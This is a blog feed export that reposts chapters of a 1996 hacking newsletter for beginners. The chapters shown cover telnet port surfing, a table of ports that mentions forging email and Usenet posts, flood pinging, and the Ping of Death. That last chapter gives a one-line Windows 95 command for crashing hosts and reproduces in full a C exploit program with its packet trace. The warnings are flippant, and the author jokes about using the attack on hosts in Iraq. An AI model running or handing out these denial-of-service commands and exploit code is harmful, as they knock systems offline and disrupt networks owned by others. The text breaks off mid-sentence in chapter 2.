/&gt;&lt;slug&gt; [69] -&gt;telnet grande.nm.org 79 &lt;br /&gt;Trying 129.121.1.2 ... &lt;br /&gt;Connected to grande.nm.org. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;man &lt;br /&gt;?Sorry, could not find "MAN" &lt;br /&gt;Connection closed by foreign host. &lt;br /&gt;&lt;slug&gt; [69] -&gt; &lt;br /&gt;At first this looks like just a bunch of failed commands. But actually this is pretty fascinating. The reason is that port 79 is, under IETF rules, supposed to run fingerd, the finger daemon. So when she gave the command “finger” and grande.nm.org said ?Sorry, could not find "FINGER,” we knew this port was not following IETF rules. &lt;br /&gt;Now on may computers they don’t run the finger daemon at all. This is because finger has so properties that can be used to gain total control of the computer that runs it. &lt;br /&gt;But if finger is shut down, and nothing else is running on port 79, we woudl get the answer: &lt;br /&gt;telnet: connect: Connection refused. &lt;br /&gt;But instead we got connected and grande.nm.org was waiting for a command. &lt;br /&gt;Now the normal thing a port surfer does when running an unfmiliar daemon is to coax it into revealing what commands it uses. “Help,” “?” and “man” often work. But it didn’t help us. &lt;br /&gt;But even though these commands didn’t help us, they did tell us that the daemon is probably something sensitive. If it were a daemon that was meant for anybody and his brother to use, it would have given us instructions. &lt;br /&gt;So what did we do next? We decided to be good Internet citizens and also stay out of jail We decided we’d beter log off. &lt;br /&gt;But there was one hack we decided to do first: leave our mark on the shell log file. &lt;br /&gt;The shell log file keeps a record of all operating system commands made on a computer. The adminsitrator of an obviously important computer such as grande.nm.org is probably competent enough to scan the records of what commands are given by whom to his computer. Especially on a port important enough to be running a mystery, non-IETF daemon. So everything we types while connected was saved on a log. &lt;br /&gt;So my friend giggled with glee and left a few messages on port 79 before logging off. Oh, dear, I do believe she’s hooked on hacking. Hmmm, it could be a good way to meet cute sysadmins... &lt;br /&gt;So, port surf’s up! If you want to surf, here’s the basics: &lt;br /&gt;1) Get logged on to a shell account. That’s an account with your ISP that lets you give Unix commands. Or -- run Linux or some other kind of Unix on your PC and hook up to the Internet. &lt;br /&gt;2) Give the command “telnet &lt;hostname&gt; &lt;pot number&gt;“ where &lt;hostname&gt; is the internet address of the computer you wnat to visit and &lt;port number&gt; is whatever looks phun to you. &lt;br /&gt;3) If you get the response “connected to &lt;hostname&gt;,” then surf’s up! &lt;br /&gt;Following are some of my favorite ports. It is legal and harmless to pay them visits so long as you don’t figure out how to gain superuser status while playing with them. However, please note that if you do too much port surfing from your shell account, your sysadmin may notice this in his or her shell log file. If he or she is prejudiced against hacking , you may get kicked off your ISP. So you may want to explain in advance that you are merely a harmless hacker looking to have a good time, er, um, learn about Unix. Yeh, that sounds good... &lt;br /&gt;Port number Service Why it’s phun! &lt;br /&gt;7 echo Whatever you type in, the host repeats back to you, used for ping &lt;br /&gt;9 discard Dev/null -- how fast can you figure out this one? &lt;br /&gt;11 systat Lots of info on users &lt;br /&gt;13 daytime Time and date at computer’s location &lt;br /&gt;15 netstat Tremendous info on networks but rarely used any more &lt;br /&gt;19 chargen Pours out a stream of ASCII characters. Use ^C to stop. &lt;br /&gt;21 ftp Transfers files &lt;br /&gt;22 ssh secure shell login -- encrypted tunnel &lt;br /&gt;23 telnet Where you log in if you don’t use ssh:) &lt;br /&gt;25 smpt Forge email from Bill.Gates@Microsoft.org. &lt;br /&gt;37 time Time &lt;br /&gt;39 rlp Resource location &lt;br /&gt;43 whois Info on hosts and networks &lt;br /&gt;53 domain Nameserver &lt;br /&gt;70 gopher Out-of-date info hunter &lt;br /&gt;79 finger Lots of info on users &lt;br /&gt;80 http Web server &lt;br /&gt;110 pop Incoming email &lt;br /&gt;119 nntp Usenet news groups -- forge posts, cancels &lt;br /&gt;443 shttp Another web server &lt;br /&gt;512 biff Mail notification &lt;br /&gt;513 rlogin Remote login &lt;br /&gt;who Remote who and uptime &lt;br /&gt;514 shell Remote command, no password used! &lt;br /&gt;syslog Remote system logging -- how we bust hackers &lt;br /&gt;520 route Routing information protocol &lt;br /&gt;************************** &lt;br /&gt;Propeller head tip: Note that in most cases an Internet host will use these port number assignments for these services. More than one service may also be assigned simultaneously to the same port. This numbering system is voluntarily offered by the Internet Engineering Task Force (IETF). That means that an Internet host may use other ports for these services. Expect the unexpected! &lt;br /&gt;If you have a copy of Linux, you can get the list of all the IETF assignments of port numbers in the file /etc/services. &lt;br /&gt;******************************** &lt;br /&gt;_________________________________________________________ &lt;br /&gt;To subscribe to the Happy Hacker list, email hacker@techbroker.com with messge “subscribe hh.” Send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking! &lt;br /&gt;Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end.. &lt;br /&gt;________________________________________________________ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-3236892321743715271?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/3236892321743715271/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-4.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3236892321743715271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3236892321743715271'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-4.html' title='hacking harmless chapter 4'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-5829909334795588058</id><published>2009-05-27T13:54:00.000-07:00</published><updated>2009-05-27T13:55:05.653-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking harmless chapter 3</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;GUIDE TO (mostly) HARMLESS HACKING &lt;br /&gt;Vol. 2 Number 3 &lt;br /&gt;Introduction to TCP/IP. That means packets! Datagrams! Ping oversize packet denial of service exploit explained. But this hack is a lot less mostly harmless than most. Don't try this at home... &lt;br /&gt;____________________________________________________________ &lt;br /&gt;If you have been on the Happy Hacker list for awhile, you've been getting some items forwarded from the Bugtraq list on a new ping packet exploit. &lt;br /&gt;Now if this has been sounding like gibberish to you, relax. It is really very simple. In fact, it is so simple that if you use Windows 95, by the time you finish this article you will know a simple, one-line command that you could use to crash many Internet hosts and routers. &lt;br /&gt;************************************************* &lt;br /&gt;YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe evil genius types on this list to be virtuous and resist the temptation to misuse the information I'm about to give them. See if I care! If one of those guys gets caught crashing thousands of Internet hosts and routers, not only will they go to jail and get a big fine. We'll all think he or she is a dork. This exploit is a no-brainer, one-line command from Windows 95. Yeah, the operating system that is designed for clueless morons. So there is nothing elite about this hack. What is elite is being able to thwart this attack. &lt;br /&gt;************************************************** &lt;br /&gt;************************************************** &lt;br /&gt;NEWBIE NOTE: If packets, datagrams, and TCP/IP aren't exactly your bosom buddies yet, believe me, you need to really get in bed with them in order to call yourself a hacker. So hang in here for some technical stuff. When &lt;br /&gt;we are done, you'll have the satisfaction of knowing you could wreak havoc on the Internet, but are too elite to do so. &lt;br /&gt;A packet is a way to send information electronically that keeps out errors. The idea is that no transmission technology is perfect. Have you ever played the game "telephone"? You get a dozen or so people in a circle and the first person whispers a message to the second. Something like "The bun is the lowest form of wheat." The second person whispers to the third, "A bum is the lowest form of cheating." The third whispers, "Rum is the lowest form of &lt;br /&gt;drinking." And so on. It's really fun to find out how far the message can mutate as it goes around the circle. &lt;br /&gt;But when, for example, you get email, you would prefer that it isn't messed up. So the computer that sends the email breaks it up into little pieces called datagrams. Then it wraps things around each datagram that tell what &lt;br /&gt;computer it needs to go to, where it came from, and that check whether the datagram might have been garbled. These wrapped up datagram packages are called "packets." &lt;br /&gt;Now if the computer sending email to you were to package a really long message into just one packet, chances are pretty high that it will get messed up while on its way to the other computer. Bit burps. So when the receiving computer checks the packet and finds that it got messed up, it &lt;br /&gt;will throw it away and tell the other computer to send it again. It could take a long time until this giant packet gets through intact. &lt;br /&gt;But if the message is broken into a lot of little pieces and wrapped up into bunches of packets, most of them will be good and the receiving computer will keep them. It will then tell the sending computer to retransmit just the packets that messed up. Then when all the pieces finally get there, the receiving computer puts them together in the right order and lo and behold, there is the complete, error-free email. &lt;br /&gt;TCP/IP stands for Transmission Control Protocol/Internet Protocol. It tells computers that are hooked up to the Internet how to package up messages into packets and how to read packets these packets from other computers. Ping uses TCP/IP to make its packets. &lt;br /&gt;********************************************** &lt;br /&gt;"Ping" is a command that sends a feeler out from your computer to another computer to see if it is turned on and hooked to the same network you are on. On the Internet there are some ten million computers that you can ping. &lt;br /&gt;Ping is a command you can give, for example, from the Unix, Windows 95 and Windows NT operating systems. It is part of the Internet Control Message Protocol (ICMP), which is used to troubleshoot TCP/IP networks. What it does is tell a remote computer to echo back a ping. So if you get your ping &lt;br /&gt;back, you know that computer is alive. Furthermore, some forms of the ping command will also tell you how long it takes for a message to go out to that computer and come back again. &lt;br /&gt;But how does your computer know that the ping it just sent out actually echoed back from the targeted computer? The datagram is the answer. The ping sent out a datagram. If the returning ping holds this same datagram, you know it was your ping that just echoed back. &lt;br /&gt;The basic format of this command is simply: &lt;br /&gt;ping hostname &lt;br /&gt;where "hostname" is the Internet address of the computer you want to check out. &lt;br /&gt;When I give this command from Sun Release 4.1 Unix, I get the answer "hostname is alive." &lt;br /&gt;************************************** &lt;br /&gt;TECHNICAL TIP: Because of the destructive powers of ping, many Internet Service Providers hide the ping program in their shell accounts where clueless newbies can't get their hands on it. If your shell account says "command not found" when you enter the ping command, try: &lt;br /&gt;/usr/etc/ping hostname &lt;br /&gt;If this doesn't work, either try the command “whereis ping” or complain to your ISP's tech support. They may have ddiabled ping for ordinary users, but if you convince tech support you are a good Internet citizen they may let you use it. &lt;br /&gt;*************************************** &lt;br /&gt;**************************************** &lt;br /&gt;NEWBIE NOTE: You say you can't find a way to ping from your on-line service? That may be because you don't have a shell account. But there is one thing you really need in order to hack: A SHELL ACCOUNT!!!! &lt;br /&gt;The reason hackers make fun of people with America Online accounts is because that ISP doesn't give out shell accounts. This is because America Online wants you to be good boys and girls and not hack! &lt;br /&gt;A "shell account" is an Internet account in which your computer becomes a terminal of one of your ISP's host computers. Once you are in the "shell" you can give commands to the operating system (which is usually Unix) just &lt;br /&gt;like you were sitting there at the console of one of your ISP's hosts. &lt;br /&gt;You may already have a shell account but just not know how to log on to it. Call tech support with your ISP to find out whether you have one, and how to get on it. &lt;br /&gt;*************************************** &lt;br /&gt;There are all sorts of fancy variations on the ping command. And, guess what, whenever there is a command you give over the Internet that has lots of variations, you can just about count on there being something hackable in there. Muhahaha! &lt;br /&gt;The flood ping is a simple example. If your operating system will let you get away with giving the command: &lt;br /&gt;-&gt; ping -f hostname &lt;br /&gt;it sends out a veritable flood of pings, as fast as your ISP's host machine can make them. This keeps the host you've targeted so busy echoing back your pings that it can do little else. It also puts a heavy load on the network. &lt;br /&gt;Hackers with primitive skill levels will sometimes get together and use several of their computers at once to simultaneously ping some victim's Internet host computer. This will generally keep the victim's computer too &lt;br /&gt;busy to do anything else. It may even crash. However, the down side (from the attackers' viewpoint) is that it keeps the attackers' computers tied up, too. &lt;br /&gt;************************************** &lt;br /&gt;NETIQUETTE NOTE: Flood pinging a computer is extremely rude. Get caught doing this and you will be lucky if the worst that happens is your on-line service provider closes your account. Do this to a serious hacker and you may need an identity transplant. &lt;br /&gt;If you should start a flood ping kind of by accident, you can shut it off by holding down the control key and pressing "c" (control-c). &lt;br /&gt;************************************** &lt;br /&gt;************************************* &lt;br /&gt;EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix, your operating system will let you use your computer to do just about anything to itself that it can do to other computers. The network address that takes you &lt;br /&gt;back to your own host computer is localhost (or 127.0.0.1). Here's an example of how I use localhost: &lt;br /&gt;&lt;slug&gt; [65] -&gt;telnet localhost &lt;br /&gt;Trying 127.0.0.1 ... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SunOS UNIX (slug) &lt;br /&gt;&lt;br /&gt;login: &lt;br /&gt;See, I'm back to the login sequence for the computer named "slug" all over &lt;br /&gt;again. &lt;br /&gt;Now I ping myself: &lt;br /&gt;&lt;llama&gt; [68] -&gt;/usr/etc/ping localhost &lt;br /&gt;localhost is alive &lt;br /&gt;This gives the same result as if I were to command: &lt;br /&gt;&lt;llama&gt; [69] -&gt;/usr/etc/ping llama &lt;br /&gt;llama.swcp.com is alive &lt;br /&gt;**************************************** &lt;br /&gt;***************************************** &lt;br /&gt;MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127.0.0.1 and log in using his or her own user name and password for kewl warez! My ex-husband Keith Henson did that to the Church of Scientology. The COGs ftp-ed to 127.0.0.1 and discovered all their copyrighted scriptures. They &lt;br /&gt;assumed this was on Keith's computer, not theirs. They were *so* sure he had their scriptures that they took him to court. The judge, when he realized they were simply looping back to their own computer, literally laughed them out of court. &lt;br /&gt;For a hilarious transcript or audio tape of this infamous court session, email hkhenson@cup.portal.com. That's Keith's email address. My hat is off to a superb hacker! &lt;br /&gt;******************************************* &lt;br /&gt;However, the oversize ping packet exploit you are about to learn will do even more damage to some hosts than a gang of flood ping conspirators. And it will do it without tying up the attackers' computer for any longer than the split second it takes to send out just one ping. &lt;br /&gt;The easiest way to do this hack is to run Windows 95. Don't have it? You can generally find a El Cheapo store that will sell it to you for $99. &lt;br /&gt;To do this, first set up your Windows 95 system so that you can make a PPP or SLIP connection with the Internet using the Dialup Networking program under the My Computer icon. You may need some help from your ISP tech support in setting this up. You must do it this way or this hack won't work. Your America Online dialer *definitely* will not work. &lt;br /&gt;************************************ &lt;br /&gt;NEWBIE NOTE: If your Internet connection allows you to run a Web browser that shows pictures, you can use that dialup number with your Windows 95 Dialup Networking program to get either a PPP or SLIP connection. &lt;br /&gt;************************************ &lt;br /&gt;Next, get your connected to the Internet. But don't run a browser or anything. Instead, once your Dialup Networking program tell you that you have a connection, click on the "Start" button and go to the listing "MS-DOS." Open this DOS window. You'll get a prompt: &lt;br /&gt;C:\windows\&gt; &lt;br /&gt;Now let's first do this the good citizen way. At this prompt you can type in a plain ordinary "ping" command: &lt;br /&gt;C:\windows\ping hostname &lt;br /&gt;where "hostname" is the address of some Internet computer. For example, you could ping thales.nmia.com, which is one of my favorite computers, named after an obscure Greek philosopher. &lt;br /&gt;Now if you happened to know the address of one of Saddam Hussein's computers, however, you might want to give the command: &lt;br /&gt;c:\windows\ping -l 65510 saddam_hussein's.computer.mil &lt;br /&gt;Now don't really do this to a real computer! Some, but not all, computers will crash and either remain hung or reboot when they get this ping. Others will continue working cheerily along, and then suddenly go under hours later. &lt;br /&gt;Why? That extra added -l 65510 creates a giant datagram for the ping packet. Some computers, when asked to send back an identical datagram, get really messed up. &lt;br /&gt;If you want all the gory details on this ping exploit, including how to protect your computers from it, check out &lt;br /&gt;http://www.sophist.demon.co.uk/ping. &lt;br /&gt;Now there are other ways to manufacture a giant ping datagram besides using Windows 95. For example, if you run certain FreeBSD or Linux versions of Unix on your PC, you can run this program, which was posted to the Bugtraq list. &lt;br /&gt;From: Bill Fenner &lt;fenner@freefall.freebsd.org&gt; &lt;br /&gt;To: Multiple recipients of list BUGTRAQ &lt;BUGTRAQ@netspace.org&gt; &lt;br /&gt;Subject: Ping exploit program &lt;br /&gt;&lt;br /&gt;Since some people don't necessarily have Windows '95 boxes lying around, I (Fenner) wrote the following exploit program. It requires a raw socket layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are &lt;br /&gt;out. It works fine on 4.4BSD systems. It should work on Linux if you compile with -DREALLY_RAW. &lt;br /&gt;&lt;br /&gt;Feel free to do with this what you want. Please use this tool only to test your own machines, and not to crash others'. &lt;br /&gt;* win95ping.c &lt;br /&gt;* &lt;br /&gt;* Simulate the evil win95 "ping -l 65510 buggyhost". &lt;br /&gt;* version 1.0 Bill Fenner &lt;fenner@freebsd.org&gt; 22-Oct-1996 &lt;br /&gt;* &lt;br /&gt;* This requires raw sockets that don't mess with the packet at all (other &lt;br /&gt;* than adding the checksum). That means that SunOS, Solaris, and &lt;br /&gt;* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD, &lt;br /&gt;* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux &lt;br /&gt;* system to try it on. &lt;br /&gt;* &lt;br /&gt;* The attack from the Win95 box looks like: &lt;br /&gt;* 17:26:11.013622 cslwin95 &gt; arkroyal: icmp: echo request (frag 6144:1480@0+) &lt;br /&gt;* 17:26:11.015079 cslwin95 &gt; arkroyal: (frag 6144:1480@1480+) &lt;br /&gt;* 17:26:11.016637 cslwin95 &gt; arkroyal: (frag 6144:1480@2960+) &lt;br /&gt;* 17:26:11.017577 cslwin95 &gt; arkroyal: (frag 6144:1480@4440+) &lt;br /&gt;* 17:26:11.018833 cslwin95 &gt; arkroyal: (frag 6144:1480@5920+) &lt;br /&gt;* 17:26:11.020112 cslwin95 &gt; arkroyal: (frag 6144:1480@7400+) &lt;br /&gt;* 17:26:11.021346 cslwin95 &gt; arkroyal: (frag 6144:1480@8880+ &lt;br /&gt;* 17:26:11.022641 cslwin95 &gt; arkroyal: (frag 6144:1480@10360+) &lt;br /&gt;* 17:26:11.023869 cslwin95 &gt; arkroyal: (frag 6144:1480@11840+) &lt;br /&gt;* 17:26:11.025140 cslwin95 &gt; arkroyal: (frag 6144:1480@13320+) &lt;br /&gt;* 17:26:11.026604 cslwin95 &gt; arkroyal: (frag 6144:1480@14800+) &lt;br /&gt;* 17:26:11.027628 cslwin95 &gt; arkroyal: (frag 6144:1480@16280+) &lt;br /&gt;* 17:26:11.028871 cslwin95 &gt; arkroyal: (frag 6144:1480@17760+) &lt;br /&gt;* 17:26:11.030100 cslwin95 &gt; arkroyal: (frag 6144:1480@19240+) &lt;br /&gt;* 17:26:11.031307 cslwin95 &gt; arkroyal: (frag 6144:1480@20720+) &lt;br /&gt;* 17:26:11.032542 cslwin95 &gt; arkroyal: (frag 6144:1480@22200+) &lt;br /&gt;* 17:26:11.033774 cslwin95 &gt; arkroyal: (frag 6144:1480@23680+) &lt;br /&gt;* 17:26:11.035018 cslwin95 &gt; arkroyal: (frag 6144:1480@25160+) &lt;br /&gt;* 17:26:11.036576 cslwin95 &gt; arkroyal: (frag 6144:1480@26640+) &lt;br /&gt;* 17:26:11.037464 cslwin95 &gt; arkroyal: (frag 6144:1480@28120+) &lt;br /&gt;* 17:26:11.038696 cslwin95 &gt; arkroyal: (frag 6144:1480@29600+) &lt;br /&gt;* 17:26:11.039966 cslwin95 &gt; arkroyal: (frag 6144:1480@31080+) &lt;br /&gt;* 17:26:11.041218 cslwin95 &gt; arkroyal: (frag 6144:1480@32560+) &lt;br /&gt;* 17:26:11.042579 cslwin95 &gt; arkroyal: (frag 6144:1480@34040+) &lt;br /&gt;* 17:26:11.043807 cslwin95 &gt; arkroyal: (frag 6144:1480@35520+) &lt;br /&gt;* 17:26:11.046276 cslwin95 &gt; arkroyal: (frag 6144:1480@37000+) &lt;br /&gt;* 17:26:11.047236 cslwin95 &gt; arkroyal: (frag 6144:1480@38480+) &lt;br /&gt;* 17:26:11.048478 cslwin95 &gt; arkroyal: (frag 6144:1480@39960+) &lt;br /&gt;* 17:26:11.049698 cslwin95 &gt; arkroyal: (frag 6144:1480@41440+) &lt;br /&gt;* 17:26:11.050929 cslwin95 &gt; arkroyal: (frag 6144:1480@42920+) &lt;br /&gt;* 17:26:11.052164 cslwin95 &gt; arkroyal: (frag 6144:1480@44400+) &lt;br /&gt;* 17:26:11.053398 cslwin95 &gt; arkroyal: (frag 6144:1480@45880+) &lt;br /&gt;* 17:26:11.054685 cslwin95 &gt; arkroyal: (frag 6144:1480@47360+) &lt;br /&gt;* 17:26:11.056347 cslwin95 &gt; arkroyal: (frag 6144:1480@48840+) &lt;br /&gt;* 17:26:11.057313 cslwin95 &gt; arkroyal: (frag 6144:1480@50320+) &lt;br /&gt;* 17:26:11.058357 cslwin95 &gt; arkroyal: (frag 6144:1480@51800+) &lt;br /&gt;* 17:26:11.059588 cslwin95 &gt; arkroyal: (frag 6144:1480@53280+) &lt;br /&gt;* 17:26:11.060787 cslwin95 &gt; arkroyal: (frag 6144:1480@54760+) &lt;br /&gt;* 17:26:11.062023 cslwin95 &gt; arkroyal: (frag 6144:1480@56240+) &lt;br /&gt;* 17:26:11.063247 cslwin95 &gt; arkroyal: (frag 6144:1480@57720+) &lt;br /&gt;* 17:26:11.064479 cslwin95 &gt; arkroyal: (frag 6144:1480@59200+) &lt;br /&gt;* 17:26:11.066252 cslwin95 &gt; arkroyal: (frag 6144:1480@60680+) &lt;br /&gt;* 17:26:11.066957 cslwin95 &gt; arkroyal: (frag 6144:1480@62160+) &lt;br /&gt;* 17:26:11.068220 cslwin95 &gt; arkroyal: (frag 6144:1480@63640+) &lt;br /&gt;* 17:26:11.069107 cslwin95 &gt; arkroyal: (frag 6144:398@65120) &lt;br /&gt;* &lt;br /&gt;*/ &lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt; &lt;br /&gt;#include &lt;sys/types.h&gt; &lt;br /&gt;#include &lt;sys/socket.h&gt; &lt;br /&gt;#include &lt;netdb.h&gt; &lt;br /&gt;#include &lt;netinet/in.h&gt; &lt;br /&gt;#include &lt;netinet/in_systm.h&gt; &lt;br /&gt;#include &lt;netinet/ip.h&gt; &lt;br /&gt;#include &lt;netinet/ip_icmp.h&gt; &lt;br /&gt;&lt;br /&gt;/* &lt;br /&gt;* If your kernel doesn't muck with raw packets, #define REALLY_RAW. &lt;br /&gt;* This is probably only Linux. &lt;br /&gt;*/ &lt;br /&gt;#ifdef REALLY_RAW &lt;br /&gt;#define FIX(x) htons(x) &lt;br /&gt;#else &lt;br /&gt;#define FIX(x) (x) &lt;br /&gt;#endif &lt;br /&gt;&lt;br /&gt;int &lt;br /&gt;main(int argc, char **argv) &lt;br /&gt;{ &lt;br /&gt;int s; &lt;br /&gt;char buf[1500]; &lt;br /&gt;struct ip *ip = (struct ip *)buf; &lt;br /&gt;struct icmp *icmp = (struct icmp *)(ip + 1); &lt;br /&gt;struct hostent *hp; &lt;br /&gt;struct sockaddr_in dst; &lt;br /&gt;int offset; &lt;br /&gt;int on = 1; &lt;br /&gt;&lt;br /&gt;bzero(buf, sizeof buf); &lt;br /&gt;if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) &lt; 0) { &lt;br /&gt;perror("socket"); &lt;br /&gt;exit(1); &lt;br /&gt;} &lt;br /&gt;if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &amp;on, sizeof(on)) &lt; 0) { &lt;br /&gt;perror("IP_HDRINCL"); &lt;br /&gt;exit(1); &lt;br /&gt;} &lt;br /&gt;if (argc != 2) { &lt;br /&gt;fprintf(stderr, "usage: %s hostname\n", argv[0]); &lt;br /&gt;exit(1); &lt;br /&gt;} &lt;br /&gt;if ((hp = gethostbyname(argv[1])) == NULL) { &lt;br /&gt;if ((ip-&gt;ip_dst.s_addr = inet_addr(argv[1])) == -1) { &lt;br /&gt;fprintf(stderr, "%s: unknown host\n", argv[1]); &lt;br /&gt;} &lt;br /&gt;} else { &lt;br /&gt;bcopy(hp-&gt;h_addr_list[0], &amp;ip-&gt;ip_dst.s_addr, hp-&gt;h_length); &lt;br /&gt;} &lt;br /&gt;printf("Sending to %s\n", inet_ntoa(ip-&gt;ip_dst)); &lt;br /&gt;ip-&gt;ip_v = 4; &lt;br /&gt;ip-&gt;ip_hl = sizeof *ip &gt;&gt; 2; &lt;br /&gt;ip-&gt;ip_tos = 0; &lt;br /&gt;ip-&gt;ip_len = FIX(sizeof buf); &lt;br /&gt;ip-&gt;ip_id = htons(4321); &lt;br /&gt;ip-&gt;ip_off = FIX(0); &lt;br /&gt;ip-&gt;ip_ttl = 255; &lt;br /&gt;ip-&gt;ip_p = 1; &lt;br /&gt;ip-&gt;ip_sum = 0; /* kernel fills in */ &lt;br /&gt;ip-&gt;ip_src.s_addr = 0; /* kernel fills in */ &lt;br /&gt;&lt;br /&gt;dst.sin_addr = ip-&gt;ip_dst; &lt;br /&gt;dst.sin_family = AF_INET; &lt;br /&gt;&lt;br /&gt;icmp-&gt;icmp_type = ICMP_ECHO; &lt;br /&gt;icmp-&gt;icmp_code = 0; &lt;br /&gt;icmp-&gt;icmp_cksum = htons(~(ICMP_ECHO &lt;&lt; 8)); &lt;br /&gt;/* the checksum of all 0's is easy to compute */ &lt;br /&gt;for (offset = 0; offset &lt; 65536; offset += (sizeof buf - sizeof *ip)) { &lt;br /&gt;ip-&gt;ip_off = FIX(offset &gt;&gt; 3); &lt;br /&gt;if (offset &lt; 65120) &lt;br /&gt;ip-&gt;ip_off |= FIX(IP_MF); &lt;br /&gt;else &lt;br /&gt;ip-&gt;ip_len = FIX(418); /* make total 65538 */ &lt;br /&gt;if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&amp;dst, &lt;br /&gt;sizeof dst) &lt; 0) { &lt;br /&gt;fprintf(stderr, "offset %d: ", offset); &lt;br /&gt;perror("sendto"); &lt;br /&gt;} &lt;br /&gt;if (offset == 0) { &lt;br /&gt;icmp-&gt;icmp_type = 0; &lt;br /&gt;icmp-&gt;icmp_code = 0; &lt;br /&gt;icmp-&gt;icmp_cksum = 0; &lt;br /&gt;} &lt;br /&gt;} &lt;br /&gt;} &lt;br /&gt;(End of Fenner's ping exploit message.) &lt;br /&gt;******************************************** &lt;br /&gt;YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you are reading this you don't know enough to keep from getting busted from doing this ping hack. On the other hand, if you were to do it to an Internet host in Iraq... &lt;br /&gt;******************************************** &lt;br /&gt;Of course there are many other kewl things you can do with ping. If you have a shell account, you can find out lots of stuph about ping by giving the command: &lt;br /&gt;man ping &lt;br /&gt;In fact, you can get lots of details on any Unix command with "man." &lt;br /&gt;Have fun with ping -- and be good! But remember, I'm not begging the evil genius wannabes to be good. See if I care when you get busted... &lt;br /&gt;_________________________________________________________ &lt;br /&gt;To subscribe, email hacker@techbroker.com with message “subscribe hh.” To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to &lt;br /&gt;dev/null@techbroker.com. Happy hacking! &lt;br /&gt;Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end.. &lt;br /&gt;________________________________________________________ &lt;br /&gt;____________________________________________________________ &lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-5829909334795588058?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/5829909334795588058/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-3.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5829909334795588058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5829909334795588058'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-3.html' title='hacking harmless chapter 3'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-2001140277468667867</id><published>2009-05-27T13:53:00.004-07:00</published><updated>2009-05-27T13:54:33.063-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking harmless chapter 2</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;GUIDE TO (mostly) HARMLESS HACKING &lt;br /&gt;Vol. 2 Number 2 &lt;br /&gt;Linux! &lt;br /&gt;________________________________________ &lt;br /&gt;Unix has become the primo operating system of the Internet. In fact, Unix is the most widely used operating system in the world among computers with more power than PCs. &lt;br /&gt;True, Windows NT is coming up fast as a common Internet operating system, and is sooo wonderfully buggy that it looks like it could become the number one favorite to crack into. But today Unix in all its wonderful flavors still is the operating system to know in order to be a truly elite hacker. &lt;br /&gt;So far we have assumed that you have been hacking using a shell account that you get through your Internet Service Provider (ISP). A shell account allows you to give Unix commands on one of your ISP's computers. But you don't need to depend on your ISP for a machine that lets you play with Unix. You can run Unix on your own computer and with a SLIP or PPP connection be directly connected to the Internet. &lt;br /&gt;*********************** &lt;br /&gt;Newbie note: Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP) connections give you a temporary Internet Protocol (IP) address that allows you to be hooked directly to the Internet. You have to use either SLIP or PPP connections to get to use a Web browser that gives you pictures instead on text 